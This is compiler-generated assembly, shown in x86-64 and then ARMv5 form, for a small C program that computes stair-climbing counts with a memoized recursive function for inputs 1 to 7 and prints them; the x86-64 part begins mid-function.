mov ebx, eax
mov eax, DWORD PTR -20[rbp]
lea edx, -2[rax]
mov rax, QWORD PTR -32[rbp]
mov rsi, rax
mov edi, edx
call climb
mov edx, eax
mov eax, DWORD PTR -20[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
add edx, ebx
mov DWORD PTR [rax], edx
mov eax, DWORD PTR -20[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
.L3:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size climb, .-climb
.globl climbStairs
.type climbStairs, @function
climbStairs:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -8[rbp], 0
mov DWORD PTR -12[rbp], 0
mov eax, DWORD PTR -20[rbp]
add eax, 1
cdqe
sal rax, 2
mov rdi, rax
call malloc@PLT
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 0
jne .L5
mov eax, -1
jmp .L6
.L5:
mov eax, DWORD PTR -20[rbp]
add eax, 1
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -8[rbp]
mov esi, 0
mov rdi, rax
call memset@PLT
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR [rax], 0
mov rax, QWORD PTR -8[rbp]
add rax, 4
mov DWORD PTR [rax], 1
mov rax, QWORD PTR -8[rbp]
add rax, 8
mov DWORD PTR [rax], 2
mov rdx, QWORD PTR -8[rbp]
mov eax, DWORD PTR -20[rbp]
mov rsi, rdx
mov edi, eax
call climb
mov DWORD PTR -12[rbp], eax
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call free@PLT
mov eax, DWORD PTR -12[rbp]
.L6:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size climbStairs, .-climbStairs
.section .rodata
.LC0:
.string "\r\nTotal %d, %d"
.text
.globl main
.type main, @function
main:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov edi, 1
call climbStairs
mov edx, eax
mov esi, 1
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edi, 2
call climbStairs
mov edx, eax
mov esi, 2
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edi, 3
call climbStairs
mov edx, eax
mov esi, 3
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edi, 4
call climbStairs
mov edx, eax
mov esi, 4
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edi, 5
call climbStairs
mov edx, eax
mov esi, 5
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edi, 6
call climbStairs
mov edx, eax
mov esi, 6
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edi, 7
call climbStairs
mov edx, eax
mov esi, 7
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "546613.c"
.text
.align 2
.global climb
.syntax unified
.arm
.fpu softvfp
.type climb, %function
climb:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #12
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r3, [r3]
cmp r3, #0
beq .L2
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r3, [r3]
b .L3
.L2:
ldr r3, [fp, #-16]
sub r3, r3, #1
ldr r1, [fp, #-20]
mov r0, r3
bl climb
mov r4, r0
ldr r3, [fp, #-16]
sub r3, r3, #2
ldr r1, [fp, #-20]
mov r0, r3
bl climb
mov r1, r0
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
add r2, r4, r1
str r2, [r3]
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r3, [r3]
.L3:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size climb, .-climb
.align 2
.global climbStairs
.syntax unified
.arm
.fpu softvfp
.type climbStairs, %function
climbStairs:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
mov r3, #0
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-8]
ldr r3, [fp, #-16]
add r3, r3, #1
lsl r3, r3, #2
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #0
bne .L5
mvn r3, #0
b .L6
.L5:
ldr r3, [fp, #-16]
add r3, r3, #1
lsl r3, r3, #2
mov r2, r3
mov r1, #0
ldr r0, [fp, #-12]
bl memset
ldr r3, [fp, #-12]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-12]
add r3, r3, #4
mov r2, #1
str r2, [r3]
ldr r3, [fp, #-12]
add r3, r3, #8
mov r2, #2
str r2, [r3]
ldr r1, [fp, #-12]
ldr r0, [fp, #-16]
bl climb
str r0, [fp, #-8]
ldr r0, [fp, #-12]
bl free
ldr r3, [fp, #-8]
.L6:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size climbStairs, .-climbStairs
.section .rodata
.align 2
.LC0:
.ascii "\015\012Total %d, %d\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
mov r0, #1
bl climbStairs
mov r3, r0
mov r2, r3
mov r1, #1
ldr r0, .L9
bl printf
mov r0, #2
bl climbStairs
mov r3, r0
mov r2, r3
mov r1, #2
ldr r0, .L9
bl printf
mov r0, #3
bl climbStairs
mov r3, r0
mov r2, r3
mov r1, #3
ldr r0, .L9
bl printf
mov r0, #4
bl climbStairs
mov r3, r0
mov r2, r3
mov r1, #4
ldr r0, .L9
bl printf
mov r0, #5
bl climbStairs
mov r3, r0
mov r2, r3
mov r1, #5
ldr r0, .L9
bl printf
mov r0, #6
bl climbStairs
mov r3, r0
mov r2, r3
mov r1, #6
ldr r0, .L9
bl printf
mov r0, #7
bl climbStairs
mov r3, r0
mov r2, r3
mov r1, #7
ldr r0, .L9
bl printf
mov r3, #0
mov r0, r3
pop {fp, pc}
.L10:
.align 2
.L9:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|